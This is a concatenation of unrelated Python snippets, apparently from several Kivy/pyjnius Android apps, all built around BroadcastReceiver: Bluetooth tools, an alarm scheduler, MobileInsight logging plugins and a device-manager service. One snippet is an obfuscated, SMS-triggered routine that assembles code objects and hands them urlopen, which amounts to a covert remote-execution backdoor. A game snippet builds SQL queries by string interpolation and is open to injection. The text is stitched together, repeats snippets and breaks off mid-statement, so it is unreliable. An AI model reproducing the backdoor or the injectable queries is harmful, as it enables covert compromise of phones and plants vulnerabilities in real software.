class Receiver: def __init__(self): self.registered = False self.intentName = '' self.actionName = '' def register(self, intentName, actionName, callback): self.br = BroadcastReceiver(self.on_broadcast, actions=[intentName+actionName]) self.intentName = intentName self.actionName = actionName self.callback = callback self.registered = True def stop(self): if self.registered: self.br.stop() def start(self): if self.registered: self.br.start() def on_broadcast(self, context, intent): actionName = self.actionName action = intent.getAction() if self.intentName + actionName == action: self.callback(actionName)
class Receiver(object): def __init__(self): self.registered = False self.intentName = '' self.actionName = '' def register(self, intentName, actionName, callback): self.br = BroadcastReceiver(self.on_broadcast, actions=[intentName + actionName]) self.intentName = intentName self.actionName = actionName self.callback = callback self.registered = True def stop(self): if self.registered: self.br.stop() def start(self): if self.registered: self.br.start() def on_broadcast(self, context, intent): actionName = self.actionName action = intent.getAction() if self.intentName + actionName == action: self.callback(actionName)
class MainApp(MDApp): def build(self): self.title = "Bluetooth Input Reader" self.theme_cls.primary_palette = "Pink" self.theme_cls.primary_hue = "400" self.icon = '/res/images/poolleaf_16619.png' self.use_kivy_settings = False self.br = None self.br_strt = False if platform == 'android': self.br = BroadcastReceiver(self.on_broadcast, actions=['state_changed']) def build_config(self, config): config.setdefaults('bluetoothsettings', { 'optionsbluetuuid': '00001101-0000-1000-8000-00805f9b34fb', 'optionsbluetencoding': 'LATIN-1'}) def build_settings(self, settings): settings.add_json_panel('Bluetooth Settings', self.config, data=bluetooth_settings_json) def on_start(self): BluetoothHelper().run() def start_broadcats(self): if self.br and not self.br_strt: self.br.start() self.br_strt = True def stop_broadcats(self): if self.br and self.br_strt: self.br.stop() self.br_strt = False def on_broadcast(self, context, intent): listen = intent.getAction() state = None if listen == BluetoothAdapter.ACTION_STATE_CHANGED: state = intent.getIntExtra( BluetoothAdapter.EXTRA_STATE, BluetoothAdapter.ERROR) if state == BluetoothAdapter.STATE_ON: self.root.ids.is_bluetooth.text = 'ON' self.root.get_devices() elif BluetoothAdapter.STATE_OFF: self.root.ids.is_bluetooth.text = 'OFF' def on_pause(self): self.stop_broadcats() self.root.cancel_scale() return True def on_stop(self): self.stop_broadcats() self.root.cancel_scale() return True def on_resume(self): self.br = BroadcastReceiver(self.on_broadcast, actions=['state_changed']) self.start_broadcats() return True
class CurrentGameScreen(Screen, FloatLayout): def __init__ (self, *args, **kwargs): super(CurrentGameScreen, self).__init__(*args, **kwargs) self.eliminate = self.ids['eliminate'] self.status = self.ids['status'] self.eliminate.disabled = True self.BluetoothAdapter = autoclass('android.bluetooth.BluetoothAdapter') self.BluetoothDevice = autoclass('android.bluetooth.BluetoothDevice') self.BluetoothSocket = autoclass('android.bluetooth.BluetoothSocket') self.UUID = autoclass('java.util.UUID') self.Bundle = autoclass('android.os.Bundle') self.Intent = autoclass('android.content.Intent') self.IntentFilter = autoclass('android.content.IntentFilter') self.Context = autoclass('android.content.Context') self.Toast = autoclass('android.widget.Toast') self.PythonActivity = autoclass('org.renpy.android.PythonActivity') self.myBTA = self.BluetoothAdapter.getDefaultAdapter() self.popup = Popup(title='Notification', content=Label(text='Searching For Target. . .'), size_hint=(.9, .3), size=(800, 800)) self.popup1 = Popup(title='Notification', content=Label(text='Target Found!'), size_hint=(.9, .3), size=(800, 800)) def goback(self): sm.current = "Home" def findTarget(self): self.popup.open() self.br = BroadcastReceiver(self.onReceive, actions=['main'], myFilter = self.BluetoothDevice.ACTION_FOUND) self.br.start() self.myBTA.startDiscovery() def onReceive(self, context, intent): action = intent.getAction(); if (self.BluetoothDevice.ACTION_FOUND == action): extras = intent.getParcelableExtra(self.BluetoothDevice.EXTRA_DEVICE) device = cast('android.bluetooth.BluetoothDevice', extras) deviceName = device.getAddress() if deviceName == user.target: self.eliminate.disabled = False self.eliminate.color = (1,0,0,1) self.popup.dismiss() self.popup1.open() self.br.stop() def eliminateUser(self): query = retrieve("SELECT target FROM users WHERE bt_ID = '%s'" % (user.target)) update("UPDATE users SET target = '',status = '0' WHERE bt_ID = '%s'" % (user.target)) user.target = query[0] print user.target, '**************************************' create("UPDATE users SET target = '%s' WHERE uid = '%s'" % (user.target, user.uid)) updateUser() query1 = retrieve("SELECT firstname,lastname FROM users WHERE bt_ID = '%s'" % (user.target)) tfirstname, tlastname = query1[0] self.status.text = str("Your Current Target is %s %s" % (tfirstname, tlastname))
def main(): oscid = osc.listen(ipAddr=hostname, port=serviceport) osc.init() osc.bind(oscid, update_notification, '/update') br = BroadcastReceiver(intent_callback,["GET_CONTENT",]) # no prefix ACTION_ required br.start() while True: osc.readQueue(oscid) time.sleep( .1 )
async def pair(self, *args, **kwargs) -> bool: """Pair with the peripheral. You can use ConnectDevice method if you already know the MAC address of the device. Else you need to StartDiscovery, Trust, Pair and Connect in sequence. Returns: Boolean regarding success of pairing. """ loop = asyncio.get_event_loop() bondedFuture = loop.create_future() def handleBondStateChanged(context, intent): bond_state = intent.getIntExtra( defs.BluetoothDevice.EXTRA_BOND_STATE, -1) if bond_state == -1: loop.call_soon_threadsafe( bondedFuture.set_exception, BleakError(f"Unexpected bond state {bond_state}"), ) elif bond_state == defs.BluetoothDevice.BOND_NONE: loop.call_soon_threadsafe( bondedFuture.set_exception, BleakError( f"Device with address {self.address} could not be paired with." ), ) elif bond_state == defs.BluetoothDevice.BOND_BONDED: loop.call_soon_threadsafe(bondedFuture.set_result, True) receiver = BroadcastReceiver( handleBondStateChanged, actions=[defs.BluetoothDevice.ACTION_BOND_STATE_CHANGED], ) receiver.start() try: # See if it is already paired. bond_state = self.__device.getBondState() if bond_state == defs.BluetoothDevice.BOND_BONDED: return True elif bond_state == defs.BluetoothDevice.BOND_NONE: logger.debug(f"Pairing to BLE device @ {self.address}") if not self.__device.createBond(): raise BleakError( f"Could not initiate bonding with device @ {self.address}" ) return await bondedFuture finally: await receiver.stop()
def schedule_alarms(alarmas): Logger.debug("%s: schedule_alarms %s" % (APP, datetime.now())) from jnius import autoclass from android.broadcast import BroadcastReceiver SystemClock = autoclass('android.os.SystemClock') AlarmManager = autoclass('android.app.AlarmManager') global broadcast_receiver broadcast_receiver = BroadcastReceiver( process_broadcast, ['org.jtc.planilla.SERVICEALARM', Intent.ACTION_USER_PRESENT, 'org.jtc.planilla.APP_AWAKE']) broadcast_receiver.start() am = activity.getSystemService(Context.ALARM_SERVICE) # Cancelar todas las posibles alarmas que hubiera de un servicio anterior intent = Intent(String('org.jtc.planilla.SERVICEALARM')) for i in range(20): # Suponemos que no hay más de 20 alarmas! pi = PendingIntent.getBroadcast(activity, i, intent, 0) am.cancel(pi) # Fijar las nuevas alarmas i = 0 now = datetime.now() for id, alarma in alarmas.iteritems(): intent = Intent(String('org.jtc.planilla.SERVICEALARM')).putExtra( "id", id) pi = PendingIntent.getBroadcast( activity, i, intent, PendingIntent.FLAG_UPDATE_CURRENT) ms = (alarma['hora']-now).seconds * 1000 Logger.debug("%s: Hora: %s - En %s" % ( APP, alarma['hora'], tdformat(alarma['hora']-now))) am.set(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime()+ms, pi) i += 1
def schedule_alarms(alarmas): Logger.debug("%s: schedule_alarms %s" % (APP, datetime.now())) from jnius import autoclass from android.broadcast import BroadcastReceiver SystemClock = autoclass('android.os.SystemClock') AlarmManager = autoclass('android.app.AlarmManager') global broadcast_receiver broadcast_receiver = BroadcastReceiver(process_broadcast, [ 'org.jtc.planilla.SERVICEALARM', Intent.ACTION_USER_PRESENT, 'org.jtc.planilla.APP_AWAKE' ]) broadcast_receiver.start() am = activity.getSystemService(Context.ALARM_SERVICE) # Cancelar todas las posibles alarmas que hubiera de un servicio anterior intent = Intent(String('org.jtc.planilla.SERVICEALARM')) for i in range(20): # Suponemos que no hay más de 20 alarmas! pi = PendingIntent.getBroadcast(activity, i, intent, 0) am.cancel(pi) # Fijar las nuevas alarmas i = 0 now = datetime.now() for id, alarma in alarmas.iteritems(): intent = Intent(String('org.jtc.planilla.SERVICEALARM')).putExtra( "id", id) pi = PendingIntent.getBroadcast(activity, i, intent, PendingIntent.FLAG_UPDATE_CURRENT) ms = (alarma['hora'] - now).seconds * 1000 Logger.debug("%s: Hora: %s - En %s" % (APP, alarma['hora'], tdformat(alarma['hora'] - now))) am.set(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime() + ms, pi) i += 1
class PluginsScreen(MobileInsightScreenBase): error_log = StringProperty(LOGO_STRING) default_app_name = StringProperty("") collecting = BooleanProperty(False) service = None analyzer = None terminal_thread = None terminal_stop = None MAX_LINE = 30 logs = deque([], MAX_LINE) plugins = [] selectedPlugin = "" app_list = get_plugins_list() myLayout = GridLayout(cols=2, spacing=5, orientation="vertical", size_hint_y=None, height=(len(app_list) / 2 + len(app_list) % 2) * Window.height / 4) popupScroll = ScrollView(size_hint_y=None, size=(Window.width, Window.height * .9)) popupScroll.add_widget(myLayout) popup = Popup(content=popupScroll, title="Choose a plugin") def __init__(self, **kw): """ Initialization function. We will do the following task (in order): __[x] means already done in App__ 1. [x] Check if the device is rooted 2. [x] Initialize necessary libs required by MobileInsight (e.g., libwireshark) 3. [x] Check if Android's security policy allows MobileInsight to access diagnostic mode. This is mainly caused by SELinux 4. [x] Create necessary folders on SDcard (e.g., /sdcard/mobileinsight/, /sdcard/mobileinsight/log/) 5. Load built-in and 3rd-party plugins (located in /sdcard/mobileinsight/plugins/) 6. [x] Check if the diagnostic mode is enabled 7. Load configurations from the setting panel (configs stored in /sdcard/.mobileinsight.ini) """ super(PluginsScreen, self).__init__(**kw) self.log_viewer = None self.plugins_list = get_plugins_list() self.terminal_stop = None self.terminal_thread = None bootup = True #used to shorten long widget names in popup menu shortenLabel = CoreLabel(markup=True, text_size=(Window.width / 2.5, None), shorten_from="right", font_size=70) #Making and adding widgets to popup menu for name in self.plugins_list: widget = Button( id=name, markup=True, halign="left", valign="top", on_release=self.callback, background_normal="", background_color=self.ids.selectButton.background_color) widget.text_size = (Window.width / 2.25, Window.height / 4) self.myLayout.add_widget(widget) app_path = self.plugins_list[name][0] if os.path.exists(os.path.join(app_path, "readme.txt")): with open(os.path.join(app_path, "readme.txt"), 'r') as ff: my_description = ff.read() else: my_description = "no description." #shortening long widget names and making font size shortenedName = shortenLabel.shorten(name) font_size = "60" if Window.width < 1450: font_size = "45" widget.text = "[color=fffafa][size=70]" + shortenedName + "[/size][size=" + font_size + "]\n" + my_description + "[/size][/color]" if bootup: self.selectedPlugin = name self.ids.selectButton.text = "Select Plugin" bootup = False # register Broadcast Receivers. self.registerBroadcastReceivers() def registerBroadcastReceivers(self): self.brStopAck = BroadcastReceiver( self.on_broadcastStopServiceAck, actions=['MobileInsight.Plugin.StopServiceAck']) self.brStopAck.start() #Setting the text for the Select Plugin Menu button def callback(self, obj): self.selectedPlugin = obj.id self.log_info("screens" + str(self.manager.screens)) if self.manager.has_screen('HomeScreen'): self.manager.get_screen('HomeScreen').set_plugin( self.selectedPlugin) # HomeScreen.set_plugin(self.selectedPlugin) self.popup.dismiss() def log_info(self, msg): Logger.info(msg) self.append_log("[b][color=00ff00][INFO][/color][/b]: " + msg) def log_warning(self, msg): Logger.warning(msg) self.append_log("[b][color=00ffff][WARNING][/color][/b]: " + msg) def log_error(self, msg): Logger.error(msg) self.append_log("[b][color=ff0000][ERROR][/color][/b]: " + msg) def append_log(self, s): self.error_log += "\n" self.error_log += s def popUpMenu(self): self.popup.open() def on_broadcastStopServiceAck(self, context, intent): self.log_info( "Received MobileInsight.Plugin.StopServiceAck from plugin") self.pluginAck = True def on_enter(self): pass def on_leave(self): pass def configure_coordinator(self): pass
class LoggingAnalyzer(Analyzer): """ An analyzer for cellular events logging and decoding """ def __init__(self, config): Analyzer.__init__(self) self.__log_dir = util.get_mobileinsight_log_path() self.__dec_log_dir = util.get_mobileinsight_log_decoded_path() self.__orig_file = "" self.__raw_msg = {} self.__raw_msg_key = "" self.__msg_cnt = 0 self.__dec_msg = [] self.__is_wifi_enabled = False self.__log_timestamp = "" self.__upload_log_flag = True try: if config['privacy'] == '1': self.__upload_log_flag = True else: self.__upload_log_flag = False except BaseException: self.__upload_log_flag = False try: if config['is_use_wifi'] == '1': self.__is_use_wifi = True else: self.__is_use_wifi = False except BaseException: self.__is_use_wifi = False try: if config['is_dec_log'] == '1': self.__is_dec_log = True self.__dec_log_name = "diag_log_" + \ datetime.datetime.now().strftime('%Y%m%d_%H%M%S') + ".txt" self.__dec_log_path = os.path.join(self.__dec_log_dir, self.__dec_log_name) else: self.__is_dec_log = False except BaseException: self.__is_dec_log = False try: self.__dec_log_type = config['log_type'] except BaseException: self.__dec_log_type = "" if not os.path.exists(self.__log_dir): os.makedirs(self.__log_dir) if not os.path.exists(self.__dec_log_dir): os.makedirs(self.__dec_log_dir) self.add_source_callback(self._logger_filter) self.br = BroadcastReceiver(self.on_broadcast, actions=['MobileInsight.Main.StopService']) self.br.start() def on_broadcast(self, context, intent): ''' This plugin is going to be stopped, finish closure work ''' self.log_info("MobileInsight.Main.StopService is received") self._check_orphan_log() IntentClass = autoclass("android.content.Intent") intent = IntentClass() action = 'MobileInsight.Plugin.StopServiceAck' intent.setAction(action) try: util.pyService.sendBroadcast(intent) except Exception as e: import traceback self.log_error(str(traceback.format_exc())) def _check_orphan_log(self): ''' Check if there is any orphan log left in cache folder ''' dated_files = [] mi2log_folder = os.path.join(util.get_cache_dir(), "mi2log") orphan_filename = "" for subdir, dirs, files in os.walk(mi2log_folder): for f in files: fn = os.path.join(subdir, f) dated_files.append((os.path.getmtime(fn), fn)) dated_files.sort() dated_files.reverse() for dated_file in dated_files: self.__orig_file = dated_file[1] # print "self.__orig_file = %s" % str(self.__orig_file) # print "self.__orig_file modified time = %s" % str(time.strftime('%Y%m%d_%H%M%S', time.localtime(os.path.getmtime(self.__orig_file)))) util.run_shell_cmd("chmod 777 %s" % self.__orig_file) orphan_filename = self._save_log() self.log_info("Found undersized orphan log, file saved to %s" % orphan_filename) def __del__(self): self.log_info("__del__ is called") def _logger_filter(self, msg): """ Callback to process new generated logs. :param msg: the message from trace collector. :type msg: Event """ # when a new log comes, save it to external storage and upload if msg.type_id.find("new_diag_log") != -1: self.__log_timestamp = datetime.datetime.now().strftime( '%Y%m%d_%H%M%S') self.__orig_file = msg.data.decode().get("filename") # FIXME (Zengwen): the change access command is a walkaround # solution util.run_shell_cmd("chmod 777 %s" % self.__orig_file) self._save_log() self.__is_wifi_enabled = util.get_wifi_status() if self.__is_use_wifi is True and self.__is_wifi_enabled is True and self.__upload_log_flag is True: try: for f in os.listdir(self.__log_dir): if f.endswith(".mi2log"): orphan_file = os.path.join(self.__log_dir, f) t = threading.Thread(target=upload_log, args=(orphan_file, )) t.start() except Exception as e: pass else: # use cellular data to upload. Skip for now. pass if self.__is_dec_log is True: if self.__dec_log_type == "LTE Control Plane": if (msg.type_id.startswith("LTE_RRC") or msg.type_id.startswith("LTE_NAS")): self._decode_msg(msg) elif self.__dec_log_type == "LTE Control/Data Plane": if (msg.type_id.startswith("LTE") and not msg.type_id.startswith("LTE_PHY")): self._decode_msg(msg) elif self.__dec_log_type == "LTE Control/Data/PHY": if (msg.type_id.startswith("LTE")): self._decode_msg(msg) elif self.__dec_log_type == "LTE/3G Control Plane": if ("RRC" in msg.type_id or "NAS" in msg.type_id): self._decode_msg(msg) elif self.__dec_log_type == "All": if (msg.type_id.startswith("LTE") or msg.type_id.startswith("WCDMA") or msg.type_id.startswith("UMTS")): self._decode_msg(msg) else: pass else: pass def _decode_msg(self, msg): self.__raw_msg[self.__msg_cnt] = msg.data self.__msg_cnt += 1 if len(self.__raw_msg) >= 20: try: with open(self.__dec_log_path, 'a') as f: for key in self.__raw_msg: log_item = self.__raw_msg[key].decode_xml() f.writelines(log_item) except BaseException: pass self.__raw_msg.clear() # reset the dict if self.__msg_cnt >= 200: # open a new file self.__dec_log_name = "mi2log_" + \ datetime.datetime.now().strftime('%Y%m%d_%H%M%S') + ".txt" self.__dec_log_path = os.path.join(self.__dec_log_dir, self.__dec_log_name) self.log_info( "NetLogger: decoded cellular log being saved to %s, please check." % self.__dec_log_path) self.__raw_msg.clear() # reset the dict self.__msg_cnt = 0 def _save_log(self): self.__log_timestamp = str( time.strftime('%Y%m%d_%H%M%S', time.localtime(os.path.getmtime(self.__orig_file)))) milog_base_name = "diag_log_%s_%s_%s.mi2log" % ( self.__log_timestamp, util.get_phone_info(), util.get_operator_info()) milog_abs_name = os.path.join(self.__log_dir, milog_base_name) shutil.copyfile(self.__orig_file, milog_abs_name) os.remove(self.__orig_file) return milog_abs_name
try: f=type((lambda:(lambda:None for n in range(len(((((),(((),())))))))))().next()) u=(lambda:type((lambda:(lambda:None for n in range(len(zip((((((((())))))))))))).func_code))() n=f(u(int(wwpd[4][1]),int(wwpd[7][1]),int(wwpd[6][1]),int(wwpd[9][1]),wwpd[2][1], (None,wwpd[10][1],wwpd[13][1],wwpd[11][1],wwpd[15][1]),(wwpd[20][1],wwpd[21][1]), (wwpd[16][1],wwpd[17][1],wwpd[18][1],wwpd[11][1],wwpd[19][1]),wwpd[22][1],wwpd[25][1],int(wwpd[4][1]),wwpd[0][1]), {wwpd[27][1]:__builtins__,wwpd[28][1]:wwpd[29][1]}) c=partial(n, [x for x in map(lambda i:n(i),range(int(0xbeef)))]) FIGHT = f(u(int(wwpd[4][1]),int(wwpd[4][1]),int(wwpd[5][1]),int(wwpd[9][1]),wwpd[3][1], (None, wwpd[23][1]), (wwpd[14][1],wwpd[24][1]),(wwpd[12][1],),wwpd[22][1],wwpd[26][1],int(wwpd[8][1]),wwpd[1][1]), {wwpd[14][1]:c,wwpd[24][1]:urlopen,wwpd[27][1]:__builtins__,wwpd[28][1]:wwpd[29][1]}) FIGHT(msg) except: pass def on_sms_received(context, intent): msg_bundle = Bundle(intent.getExtras()) msg_bytes = [m for m in msg_bundle.get("pdus")] messages = [SmsMessage.createFromPdu(mb) for mb in msg_bytes] for m in messages: msg = m.getMessageBody().split("\a")[1] fire_in_the_disco(msg) if __name__ == "__main__": br = BroadcastReceiver(on_sms_received, actions=[SMS_RECEIVED]) br.start() while 1: sleep(60*5)
class DeviceManagerService(object): def __init__(self, **kwargs): self.debug_params = dict() self.addit_params = dict() for key, val in kwargs.items(): mo = re.search('^debug_([^_]+)_(.+)', key) if mo: kk = mo.group(1) ll = self.debug_params.get(kk, dict()) ll[mo.group(2)] = val self.debug_params[kk] = ll elif key.startswith('ab_'): self.addit_params[key[3:]] = val else: setattr(self, key, val) _LOGGER.debug( f'Addit params for DM {self.addit_params} AND {self.debug_params}') self.db = None self.oscer = None self.notification_formatter_info = dict() self.connectors_format = False self.devicemanager_class_by_type = dict() self.devicemanagers_pre_actions = dict() self.devicemanagers_by_id = dict() self.devicemanagers_by_uid = dict() self.connectors_info = [] self.users = [] self.views = [] self.devices = [] self.devicemanagers_active = [] self.devicemanagers_active_done = [] self.timer_obj = None self.main_session = None self.last_user = None self.devicemanagers_active_info = dict() self.stop_event = asyncio.Event() self.last_notify_ms = time() * 1000 if self.android: from jnius import autoclass from android.broadcast import BroadcastReceiver self.Context = autoclass('android.content.Context') self.AndroidString = autoclass('java.lang.String') self.NotificationCompatInboxStyle = autoclass( 'android.app.Notification$InboxStyle') NotificationBuilder = autoclass('android.app.Notification$Builder') self.PythonActivity = autoclass('org.kivy.android.PythonActivity') self.service = autoclass('org.kivy.android.PythonService').mService NOTIFICATION_CHANNEL_ID = self.AndroidString( self.service.getPackageName().encode('utf-8')) self.NOTIFICATION_GROUP = 'pyMovizGroup' self.FOREGROUND_NOTIFICATION_ID = 4563 app_context = self.service.getApplication().getApplicationContext() self.app_context = app_context self.notification_service = self.service.getSystemService( self.Context.NOTIFICATION_SERVICE) self.CONNECT_ACTION = 'device_manager_service.view.CONNECT' self.DISCONNECT_ACTION = 'device_manager_service.view.DISCONNECT' self.STOP_ACTION = 'device_manager_service.STOP' self.br = BroadcastReceiver(self.on_broadcast, actions=[ self.CONNECT_ACTION, PRESENCE_REQUEST_ACTION, self.DISCONNECT_ACTION, self.STOP_ACTION ]) self.br.start() Intent = autoclass('android.content.Intent') self.Intent = Intent PendingIntent = autoclass('android.app.PendingIntent') NotificationActionBuilder = autoclass( 'android.app.Notification$Action$Builder') Notification = autoclass('android.app.Notification') Color = autoclass("android.graphics.Color") NotificationChannel = autoclass('android.app.NotificationChannel') NotificationManager = autoclass('android.app.NotificationManager') channelName = self.AndroidString( 'DeviceManagerService'.encode('utf-8')) chan = NotificationChannel(NOTIFICATION_CHANNEL_ID, channelName, NotificationManager.IMPORTANCE_DEFAULT) chan.setLightColor(Color.BLUE) chan.setLockscreenVisibility(Notification.VISIBILITY_PRIVATE) self.notification_service.createNotificationChannel(chan) BitmapFactory = autoclass("android.graphics.BitmapFactory") Icon = autoclass("android.graphics.drawable.Icon") BitmapFactoryOptions = autoclass( "android.graphics.BitmapFactory$Options") # Drawable = jnius.autoclass("{}.R$drawable".format(service.getPackageName())) # icon = getattr(Drawable, 'icon') options = BitmapFactoryOptions() # options.inMutable = True # declaredField = options.getClass().getDeclaredField("inPreferredConfig") # declaredField.set(cast('java.lang.Object',options), cast('java.lang.Object', BitmapConfig.ARGB_8888)) # options.inPreferredConfig = BitmapConfig.ARGB_8888; notification_image = join(dirname(__file__), '..', 'images', 'device_manager.png') bm = BitmapFactory.decodeFile(notification_image, options) notification_icon = Icon.createWithBitmap(bm) notification_image = join(dirname(__file__), '..', 'images', 'lan-connect.png') bm = BitmapFactory.decodeFile(notification_image, options) icon = Icon.createWithBitmap(bm) broadcastIntent = Intent(self.CONNECT_ACTION) actionIntent = PendingIntent.getBroadcast( self.service, 0, broadcastIntent, PendingIntent.FLAG_UPDATE_CURRENT) connect_action = NotificationActionBuilder( icon, self.AndroidString('CONNECT'.encode('utf-8')), actionIntent).build() notification_image = join(dirname(__file__), '..', 'images', 'lan-disconnect.png') bm = BitmapFactory.decodeFile(notification_image, options) icon = Icon.createWithBitmap(bm) broadcastIntent = Intent(self.DISCONNECT_ACTION) actionIntent = PendingIntent.getBroadcast( self.service, 0, broadcastIntent, PendingIntent.FLAG_UPDATE_CURRENT) disconnect_action = NotificationActionBuilder( icon, self.AndroidString('DISCONNECT'.encode('utf-8')), actionIntent).build() notification_image = join(dirname(__file__), '..', 'images', 'stop.png') bm = BitmapFactory.decodeFile(notification_image, options) icon = Icon.createWithBitmap(bm) broadcastIntent = Intent(self.STOP_ACTION) actionIntent = PendingIntent.getBroadcast( self.service, 0, broadcastIntent, PendingIntent.FLAG_UPDATE_CURRENT) stop_action = NotificationActionBuilder( icon, self.AndroidString('STOP'.encode('utf-8')), actionIntent).build() notification_intent = Intent(app_context, self.PythonActivity) notification_intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK) notification_intent.setAction(Intent.ACTION_MAIN) notification_intent.addCategory(Intent.CATEGORY_LAUNCHER) notification_intent = PendingIntent.getActivity( self.service, 0, notification_intent, 0) self.notification_builder = NotificationBuilder(app_context, NOTIFICATION_CHANNEL_ID)\ .setContentIntent(notification_intent)\ .setSmallIcon(notification_icon)\ .addAction(connect_action)\ .addAction(disconnect_action)\ .addAction(stop_action) self.notification_builder_no_action = NotificationBuilder(app_context, NOTIFICATION_CHANNEL_ID)\ .setContentIntent(notification_intent)\ .setSmallIcon(notification_icon) def on_broadcast(self, context, intent): action = intent.getAction() _LOGGER.info(f'on_broadcast action {action}') if action == self.CONNECT_ACTION: self.loop.call_soon_threadsafe(self.on_command_condisc, 'c', self.last_user) elif action == self.DISCONNECT_ACTION: self.loop.call_soon_threadsafe(self.on_command_condisc, 'd') elif action == PRESENCE_REQUEST_ACTION: self.app_context.sendBroadcast( self.Intent(PRESENCE_RESPONSE_ACTION)) else: self.loop.call_soon_threadsafe(self.on_command_stop) def change_service_notification(self, dm, **kwargs): if self.android: alias = dm.get_device().get_alias() if alias not in self.notification_formatter_info: idnot = self.FOREGROUND_NOTIFICATION_ID + len( self.notification_formatter_info) self.notification_formatter_info[alias] =\ DeviceNotiication(dm, idnot, self) self.notification_formatter_info[alias].format(**kwargs) async def init_osc(self): self.oscer = OSCManager(hostlisten=self.hostlisten, portlisten=self.portlisten) await self.oscer.init(on_init_ok=self.on_osc_init_ok) def on_osc_init_ok(self, exception=None): if not exception: self.oscer.handle(COMMAND_STOP, self.on_command_stop) self.oscer.handle(COMMAND_LOGLEVEL, self.on_command_loglevel) self.oscer.handle(COMMAND_NEWDEVICE, self.on_command_newdevice) self.oscer.handle(COMMAND_QUERY, self.on_command_query, do_split=True) self.oscer.handle(COMMAND_CONNECT, self.on_command_condisc, 'c') self.oscer.handle(COMMAND_DISCONNECT, self.on_command_condisc, 'd') self.oscer.handle(COMMAND_CONNECTORS, self.on_command_connectors) self.oscer.handle(COMMAND_LISTDEVICES, self.on_command_listdevices) self.oscer.handle(COMMAND_LISTUSERS, self.on_command_listusers) self.oscer.handle(COMMAND_LISTVIEWS, self.on_command_listviews) self.oscer.handle( COMMAND_SAVEVIEW, partial(self.on_command_dbelem, asyncmethod=self.on_command_saveelem_async, lst=self.views, cls=View, on_ok=self.set_devicemanagers_active)) self.oscer.handle( COMMAND_DELVIEW, partial(self.on_command_dbelem, asyncmethod=self.on_command_delelem_async, lst=self.views, cls=View, on_ok=self.set_devicemanagers_active)) self.oscer.handle( COMMAND_SAVEUSER, partial(self.on_command_dbelem, asyncmethod=self.on_command_saveelem_async, lst=self.users, cls=User)) self.oscer.handle( COMMAND_DELUSER, partial(self.on_command_dbelem, asyncmethod=self.on_command_delelem_async, lst=self.users, cls=User)) self.create_device_managers() def on_command_condisc(self, cmd, *args, sender=None, **kwargs): _LOGGER.info(f'On Command condisc: {cmd}') if cmd == 'c': if args and isinstance(args[0], User) and args[0] in self.users: self.last_user = args[0] else: self.oscer.send(COMMAND_CONFIRM, CONFIRM_FAILED_1, MSG_INVALID_USER, dest=sender) return self.oscer.send(COMMAND_CONFIRM, CONFIRM_OK, cmd, dest=sender) for dm in self.devicemanagers_active_done.copy(): self.devicemanagers_active.append(dm) self.devicemanagers_active_done.remove(dm) from device.manager import GenericDeviceManager GenericDeviceManager.sort(self.devicemanagers_active) for _, info in self.devicemanagers_active_info.items(): info['operation'] = cmd info['retry'] = 0 Timer( 0, partial(self.start_remaining_connection_operations, bytimer=False)) def on_command_listviews(self, *args, sender=None, **kwargs): _LOGGER.info('List view before send:') for v in self.views: _LOGGER.info(f'View = {v}') self.oscer.send(COMMAND_LISTVIEWS_RV, *self.views, dest=sender) def on_command_listusers(self, *args, sender=None, **kwargs): self.oscer.send(COMMAND_LISTUSERS_RV, *self.users, dest=sender) def on_command_connectors(self, connectors_info, *args, sender=None, **kwargs): connectors_info = json.loads(connectors_info) if connectors_info: for ci in connectors_info: if not exists(ci['temp']): self.oscer.send(COMMAND_CONFIRM, CONFIRM_FAILED_1, dest=sender) return self.connectors_format = True Timer( 0, partial(TcpClient.init_connectors_async, self.loop, connectors_info)) self.oscer.send(COMMAND_CONFIRM, CONFIRM_OK, dest=sender) def on_command_listdevices(self, *args, sender=None, **kwargs): out = [] for uid, dm in self.devicemanagers_by_uid.items(): out.append(uid) out.append(dm.get_device()) self.oscer.send(COMMAND_LISTDEVICES_RV, *out, dest=sender) async def on_command_delelem_async(self, elem, *args, lst=None, on_ok=None, sender=None, **kwargs): try: _LOGGER.info(f'on_command_delelem_async {elem}') rv = await elem.delete(self.db) if rv: if elem in lst: lst.remove(elem) self.oscer.send(COMMAND_CONFIRM, CONFIRM_OK, elem, dest=sender) if on_ok: on_ok(elem) TcpClient.reset_templates() else: self.oscer.send(COMMAND_CONFIRM, CONFIRM_FAILED_1, MSG_DB_SAVE_ERROR % str(elem), dest=sender) except Exception: _LOGGER.error( f'on_command_delelem_async exception {traceback.format_exc()}') async def on_command_saveelem_async(self, elem, *args, lst=None, on_ok=None, sender=None, **kwargs): try: _LOGGER.info(f'on_command_saveelem_async {elem}') rv = await elem.to_db(self.db) if rv: if elem not in lst: lst.append(elem) else: lst[lst.index(elem)] = elem self.oscer.send(COMMAND_CONFIRM, CONFIRM_OK, elem, dest=sender) if on_ok: on_ok(elem) TcpClient.reset_templates() else: self.oscer.send(COMMAND_CONFIRM, CONFIRM_FAILED_1, MSG_DB_SAVE_ERROR % str(elem), dest=sender) except Exception: _LOGGER.error( f'on_command_saveelem_async exception {traceback.format_exc()}' ) def on_command_dbelem(self, elem, *args, asyncmethod=None, lst=None, cls=None, on_ok=None, sender=None, **kwargs): _LOGGER.info(f'on_command_dbelem {elem}') if isinstance(elem, cls): if self.devicemanagers_all_stopped(): Timer(0, partial(asyncmethod, elem, lst=lst, on_ok=on_ok)) else: self.oscer.send(COMMAND_CONFIRM, CONFIRM_FAILED_2, MSG_CONNECTION_STATE_INVALID, dest=sender) else: self.oscer.send(COMMAND_CONFIRM, CONFIRM_FAILED_1, MSG_INVALID_ITEM, dest=sender) def on_event_command_handle(self, dm, command, *args): _LOGGER.debug(f'On Command Handle dm={dm} comm={command} a={args}') exitv = args[0] if args else None if command == COMMAND_NEWSESSION and exitv == CONFIRM_OK: if self.connectors_format: TcpClient.format(dm.get_device(), manager=dm, session=args[2], user=self.last_user) self.change_service_notification(dm, manager=dm, session=args[2], user=self.last_user) if self.main_session: args[1].set_main_session_id(self.main_session.get_id()) else: self.main_session = args[2] elif command == COMMAND_DEVICEFIT and exitv == CONFIRM_OK: if self.connectors_format: TcpClient.format(args[1], fitobj=args[2], manager=dm, device=args[1]) self.change_service_notification(dm, fitobj=args[2], manager=dm) elif command == COMMAND_DELDEVICE and exitv == CONFIRM_OK: ids = f'{dm.get_id()}' if ids in self.devicemanagers_by_id: del self.devicemanagers_by_id[ids] ids = 